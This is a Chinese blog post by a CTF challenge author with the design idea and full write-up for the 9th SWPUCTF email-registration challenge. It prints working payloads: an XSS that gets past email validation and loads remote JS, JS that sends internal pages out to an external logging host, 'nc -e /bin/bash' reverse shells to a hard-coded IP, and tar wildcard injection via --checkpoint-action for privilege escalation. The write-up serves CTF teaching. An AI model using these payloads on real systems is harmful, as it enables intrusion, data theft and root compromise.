第九届SWPUCTF邮箱注册出题思路&WriteUP

默认分类 2018-12-24

大四了快毕业了,最后一届的出题,校赛终于圆满了,不得不感叹时间之快,感慨很多。感谢 @小东哥 ,@谢队 等学弟的帮忙。

0x01 出题思路

之前看到一个小trick,FILTER_VALIDATE_EMAIL的可以用"绕过,于是就出了个XSS,后面的tar提权感谢@小东哥 帮忙提供的思路和帮忙搭建环境。
XSS用"绕过函数检测,里面payload可以加载外部js,于是就想着用phantomjs去自动请求内网的资源,让攻击者能用js打到源码,后面就执行内网的命令执行,弹shell过后,继续让攻击者去寻找文件上传和备份的那个地方,上传文件,通过tar *通配符备份提权,获取flag。

0x02 WP

check.php右键发现源码有php

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

于是提交payload

"aaa><script/src=http://sp4rk.cn:6324/duyuanma.js</script>"@a.aaa
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/d' + escape(b);

image-20181220100024428

可以看到admin/a0a.php下面有个命令执行,于是弹shell

var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/' + escape(b);

image-20181219224713490

image-20181220100447368

image-20181220100546057

上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b,访问下

image-20181220100643707

这里有个上传和备份文件

image-20181220100818270

发现经过tar *处理,于是上传文件

image-20181220101935553

image-20181220103703911

--checkpoint=1

--checkpoint-action=exec=sh exp.sh

exp.sh

nc -e /bin/bash 118.89.56.208 6325

image-20181220103637021


本文由 sp4rk 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论